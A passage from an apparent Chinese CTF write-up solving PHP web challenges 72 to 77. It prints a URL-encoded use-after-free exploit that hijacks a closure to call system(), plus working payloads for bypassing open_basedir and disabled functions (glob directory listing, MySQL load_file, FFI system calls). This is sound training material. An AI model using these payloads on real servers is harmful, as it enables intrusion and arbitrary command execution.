2%20%2a%6e%69%78%20%73%79%73%74%65%6d%73%20%6f%6e%6c%79%2e%27%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%6e%5f%61%6c%6c%6f%63%20%3d%20%31%30%3b%20%0a%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%20%3d%20%5b%5d%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%5f%61%6c%6c%6f%63%3b%20%24%69%2b%2b%29%0a%20%20%20%20%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%5b%5d%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%0a%20%20%20%20%74%72%69%67%67%65%72%5f%75%61%66%28%27%78%27%29%3b%0a%20%20%20%20%24%61%62%63%20%3d%20%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%5b%30%5d%3b%0a%0a%20%20%20%20%24%68%65%6c%70%65%72%20%3d%20%6e%65%77%20%48%65%6c%70%65%72%3b%0a%20%20%20%20%24%68%65%6c%70%65%72%2d%3e%62%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%24%78%29%20%7b%20%7d%3b%0a%0a%20%20%20%20%69%66%28%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%37%39%20%7c%7c%20%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%30%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%55%41%46%20%66%61%69%6c%65%64%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%29%3b%0a%20%20%20%20%24%70%68%70%5f%68%65%61%70%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%35%38%29%3b%0a%20%20%20%20%24%61%62%63%5f%61%64%64%72%20%3d%20%24%70%68%70%5f%68%65%61%70%20%2d%20%30%78%63%38%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%30%2c%20%32%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%37%30%2c%20%36%29%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%30%78%36%30%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%38%2c%20%30%78%61%29%3b%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%32%30%29%3b%0a%0a%20%20%20%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%2c%20%38%29%3b%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%65%20%3d%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%64%65%74%65%72%6d%69%6e%65%20%62%69%6e%61%72%79%20%62%61%73%65%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%65%6c%66%20%3d%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%70%61%72%73%65%20%45%4c%46%20%68%65%61%64%65%72%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%69%63%5f%66%75%6e%63%73%20%3d%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%62%61%73%69%63%5f%66%75%6e%63%74%69%6f%6e%73%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%7a%69%66%5f%73%79%73%74%65%6d%20%3d%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%7a%69%66%5f%73%79%73%74%65%6d%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%0a%20%20%20%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%3d%20%30%78%64%30%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%31%30%3b%20%24%69%20%2b%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%2b%20%24%69%2c%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%2c%20%24%69%29%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%32%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%33%38%2c%20%31%2c%20%34%29%3b%20%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%36%38%2c%20%24%7a%69%66%5f%73%79%73%74%65%6d%29%3b%20%0a%0a%20%20%20%20%28%24%68%65%6c%70%65%72%2d%3e%62%29%28%24%63%6d%64%29%3b%0a%20%20%20%20%65%78%69%74%28%29%3b%0a%7d%0a%0a%63%74%66%73%68%6f%77%28%22%63%61%74%20%2f%66%6c%61%67%30%2e%74%78%74%22%29%3b%6f%62%5f%65%6e%64%5f%66%6c%75%73%68%28%29%3b%0a%3f%3e
获得 flag
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111131213329.png" alt="image-20250111131213329" style="zoom:67%;" />
# web73
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111134355157.png" alt="image-20250111134355157" style="zoom:67%;" />
查看一下根目录:
c=echo(implode('---',scandir("/")));die(); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111134700528.png" alt="image-20250111134700528" style="zoom:67%;" />
看到有 flagc.txt
读取
c=include('/flagc.txt');die(); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111134954967.png" alt="image-20250111134954967" style="zoom:50%;" />
# web74
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111135612359.png" alt="image-20250111135612359" style="zoom:67%;" />
查看根目录文件:
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?> |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111140759230.png" alt="image-20250111140759230" style="zoom:80%;" />
查看 flagx.txt
:
c=include('/flagx.txt');die(); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111140947165.png" alt="image-20250111140947165" style="zoom:67%;" />
# web75
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111141141489.png" alt="image-20250111141141489" style="zoom:67%;" />
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?> |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111141240701.png" alt="image-20250111141240701" style="zoom:67%;" />
查看 /flag36.txt
,但是发现
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111143833612.png" alt="image-20250111143833612" style="zoom:67%;" />
发现被限制了路径 /var/www/html
,设置了 open_basedir
, 但 web72题
的安全目录绕过不行了, include()
也读不了了,看答案用数据库。。。。不会
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0); | |
#数据库名:ctftraining | |
#用户名 root,密码 root |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111160153621.png" alt="image-20250111160153621" style="zoom:67%;" />
# web76
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111161221105.png" alt="image-20250111161221105" style="zoom:67%;" />
设置了 open_basedir
,
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?> |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111161524909.png" alt="image-20250111161524909" style="zoom:67%;" />
继续试一下 75 题的 payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0); |
得到 flag
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111161627367.png" alt="image-20250111161627367" style="zoom:50%;" />
# web77
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111162905269.png" alt="image-20250111162905269" style="zoom:67%;" />
查看根目录,发现到 flag
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?> |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111162933067.png" alt="image-20250111162933067" style="zoom:67%;" />
看 wp,有个 php7.4 以上的 payload (这个方式成功绕过了对system函数的限制)
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a); | |
#FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。 | |
$ffi = FFI::cdef("int system(const char *command);");// 创建一个 system 对象 | |
$a='/readflag > 1.txt';// 没有回显,所以将内容输出到 1.txt | |
$ffi->system($a);// 通过 $ffi 去调用 system 函数 |
输入 payload:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111163605592.png" alt="image-20250111163605592" style="zoom:67%;" />
再访问 url/1.txt
,得到 flag